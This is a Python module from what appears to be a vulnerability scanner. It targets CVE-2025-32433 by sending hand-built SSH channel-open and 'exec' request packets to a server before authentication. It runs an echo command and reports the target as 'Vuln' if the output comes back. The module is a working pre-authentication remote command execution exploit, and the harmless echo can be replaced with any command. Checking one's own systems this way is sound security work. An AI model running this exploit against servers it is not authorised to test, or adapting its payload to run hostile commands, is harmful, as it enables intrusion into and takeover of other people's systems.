import socket
import struct
import os
from r_ascan.config import DEFAULT_TIMEOUT
from r_ascan.module.other import Other

class ElainaCVE202532433:
    def __init__(self, args):
        self.args = args
        self.target = args.target
        self.port = args.port or 22
        self.verbose = args.verbose
        self.timeout = DEFAULT_TIMEOUT
        self.module_name = os.path.splitext(os.path.basename(__file__))[0]
        self.printer = Other()

    def create_payload(self, cmd: bytes):
        payload_channel_open = (
            b"\x5a"
            + struct.pack(">I", len(b"session")) + b"session"
            + struct.pack(">I", 0)
            + struct.pack(">I", 0x100000)
            + struct.pack(">I", 0x4000)
        )

        payload_channel_request = (
            b"\x62"
            + struct.pack(">I", 0)
            + struct.pack(">I", len(b"exec")) + b"exec"
            + struct.pack("?", False)
            + struct.pack(">I", len(cmd)) + cmd
        )

        return payload_channel_open + payload_channel_request

    def send_payload(self, ip, port, cmd):
        try:
            s = socket.create_connection((ip, port), timeout=self.timeout)
            banner = s.recv(1024).decode(errors="ignore")
            if self.verbose:
                print(f"[+] SSH Banner: {banner.strip()}")
            payload = self.create_payload(cmd.encode())
            s.send(payload)
            resp = s.recv(1024).decode(errors="ignore")
            s.close()
            return resp
        except Exception as e:
            return f"ERROR: {e}"

    def run(self):
        result = {"vulnerable": False, "target": f"{self.target}:{self.port}"}
        if self.verbose:
            colored_module = self.printer.color_text(self.module_name, "cyan")
            print(f"[*] [Module: {colored_module}] [Started Scan]")

        cmd = "echo elaina_vuln_check"
        resp = self.send_payload(self.target, self.port, cmd)

        colored_module = self.printer.color_text(self.module_name, "cyan")
        colored_target = self.printer.color_text(f"{self.target}:{self.port}", "yellow")

        if "elaina_vuln_check" in resp:
            result["vulnerable"] = True
            result["response"] = resp
            status = self.printer.color_text("Vuln", "green")
            print(f"[+] [Module: {colored_module}] [{status}] [Target: {colored_target}]")
        else:
            status = self.printer.color_text("Not Vuln", "red")
            print(f"[*] [Module: {colored_module}] [{status}] [Target: {colored_target}]")

        return result

def scan(args=None):
    return ElainaCVE202532433(args).run()
